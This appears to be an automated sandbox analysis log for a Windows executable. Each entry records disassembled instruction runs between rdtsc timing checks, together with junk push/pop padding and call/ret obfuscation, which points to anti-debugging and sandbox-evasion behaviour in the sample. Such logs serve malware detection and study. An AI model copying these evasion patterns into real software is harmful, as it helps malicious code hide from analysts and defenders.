Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D749D second address: 2D74C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F19111E3806h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F19111E3806h 0x00000015 jmp 00007F19111E3814h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D767D second address: 2D7687 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1910516D56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DB97A second address: 2DB99C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F19111E3819h 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC034 second address: 2DC03A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC344 second address: 2DC348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC645 second address: 2DC65F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1910516D5Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jnp 00007F1910516D56h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 je 00007F1910516D56h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 289A7D second address: 289A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DCCE3 second address: 2DCD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1910516D62h 0x00000009 jmp 00007F1910516D5Eh 0x0000000e popad 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05BC second address: 2E05C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05C0 second address: 2E05C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05C6 second address: 2E05E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3819h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05E5 second address: 2E05EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05EB second address: 2E05EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05EF second address: 2E05F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05F3 second address: 2E05F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E05F9 second address: 2E0606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E0606 second address: 2E061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F19111E3806h 0x0000000a pop edx 0x0000000b push edi 0x0000000c jl 00007F19111E3806h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E061A second address: 2E061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2595C3 second address: 2595C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2595C7 second address: 2595E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1910516D56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007F1910516D5Ch 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5942 second address: 2E5968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F19111E3819h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5968 second address: 2E596C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E596C second address: 2E59B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 jmp 00007F19111E3819h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5362 second address: 2E5366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5366 second address: 2E537B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E380Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E537B second address: 2E538D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D5Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E538D second address: 2E5391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5618 second address: 2E5631 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1910516D64h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5631 second address: 2E563A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E563A second address: 2E563E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E563E second address: 2E5648 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F19111E3806h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E5648 second address: 2E5668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1910516D66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AF264 second address: 288F89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3816h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D1853h], ebx 0x00000012 lea eax, dword ptr [ebp+12499FD1h] 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F19111E3808h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push eax 0x00000033 jp 00007F19111E3810h 0x00000039 mov dword ptr [esp], eax 0x0000003c pushad 0x0000003d mov dword ptr [ebp+122D572Bh], eax 0x00000043 mov ecx, dword ptr [ebp+122D397Dh] 0x00000049 popad 0x0000004a push edi 0x0000004b movsx edx, cx 0x0000004e pop edx 0x0000004f call dword ptr [ebp+124585DFh] 0x00000055 pushad 0x00000056 jns 00007F19111E380Ah 0x0000005c push eax 0x0000005d jno 00007F19111E3806h 0x00000063 jmp 00007F19111E3813h 0x00000068 pop eax 0x00000069 pushad 0x0000006a jnl 00007F19111E3806h 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AF56E second address: 2AF598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1910516D58h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F1910516D68h 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AF93E second address: 2AF96B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F19111E380Bh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F19111E380Fh 0x00000016 mov eax, dword ptr [eax] 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AF96B second address: 2AF990 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jmp 00007F1910516D61h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AF990 second address: 2AF9D0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 call 00007F19111E380Dh 0x0000000d mov dword ptr [ebp+1248C3A1h], edi 0x00000013 pop edx 0x00000014 jmp 00007F19111E3819h 0x00000019 push 0C9DA651h 0x0000001e pushad 0x0000001f pushad 0x00000020 push edx 0x00000021 pop edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFAB1 second address: 2AFAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFAB5 second address: 2AFAC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jc 00007F19111E3806h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFB56 second address: 2AFB6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E902D second address: 2E9048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 ja 00007F19111E3806h 0x0000000e popad 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F19111E3806h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9307 second address: 2E930D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E930D second address: 2E931A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E931A second address: 2E9320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9320 second address: 2E9333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 ja 00007F19111E3806h 0x0000000c jno 00007F19111E3806h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9494 second address: 2E94B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnl 00007F1910516D56h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop ebx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F1910516D56h 0x0000001c jg 00007F1910516D56h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9623 second address: 2E9644 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3818h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9644 second address: 2E9648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9648 second address: 2E966B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F19111E3806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F19111E3815h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E966B second address: 2E967D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F1910516D56h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E9A71 second address: 2E9A9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E3819h 0x00000007 jmp 00007F19111E380Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EE5EA second address: 2EE605 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F1910516D65h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EE605 second address: 2EE61D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F19111E3806h 0x00000009 jc 00007F19111E3806h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EE61D second address: 2EE627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1910516D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2EE627 second address: 2EE62B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F054B second address: 2F0577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1910516D66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F1910516D56h 0x00000015 jno 00007F1910516D56h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F0577 second address: 2F057F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F057F second address: 2F058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1910516D5Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F06F6 second address: 2F070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E3810h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7A9D second address: 2F7AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2F7D71 second address: 2F7D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F19111E3806h 0x0000000a pop esi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop edx 0x00000015 popad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB4D6 second address: 2FB4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB7A5 second address: 2FB7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19111E3813h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB7C0 second address: 2FB7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB7CD second address: 2FB7D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F19111E3806h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB94B second address: 2FB955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1910516D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FB955 second address: 2FB96B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19111E380Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F19111E3812h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2FBABB second address: 2FBAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30097C second address: 300987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F19111E3806h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 300987 second address: 3009A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1910516D67h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B007F second address: 2B0093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F19111E3810h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0093 second address: 2B00EA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1910516D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F1910516D58h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jmp 00007F1910516D63h 0x0000002c mov ebx, dword ptr [ebp+1249A010h] 0x00000032 cld 0x00000033 and dl, 0000007Ah 0x00000036 add eax, ebx 0x00000038 mov cx, ax 0x0000003b nop 0x0000003c pushad 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B00EA second address: 2B016A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F19111E380Eh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007F19111E3814h 0x00000013 pop ecx 0x00000014 jmp 00007F19111E3819h 0x00000019 popad 0x0000001a nop 0x0000001b mov edx, 2D681BF8h 0x00000020 push 00000004h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F19111E3808h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov edx, dword ptr [ebp+12458EB0h] 0x00000042 nop 0x00000043 push eax 0x00000044 push edx 0x00000045 push ebx 0x00000046 push eax 0x00000047 pop eax 0x00000048 pop ebx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303164 second address: 303184 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1910516D6Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303184 second address: 303188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 303188 second address: 30318C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30952D second address: 309531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 309892 second address: 309898 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 309898 second address: 3098A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F19111E3806h 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3098A8 second address: 3098B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F1910516D56h 0x00000009 jnl 00007F1910516D56h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30A455 second address: 30A462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007F19111E380Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30A75D second address: 30A7A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F1910516D6Ch 0x0000000b jmp 00007F1910516D66h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F1910516D69h 0x0000001d je 00007F1910516D56h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30A7A6 second address: 30A7AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AA8E second address: 30AA94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD5A second address: 30AD5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD5F second address: 30AD65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 30AD65 second address: 30AD69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
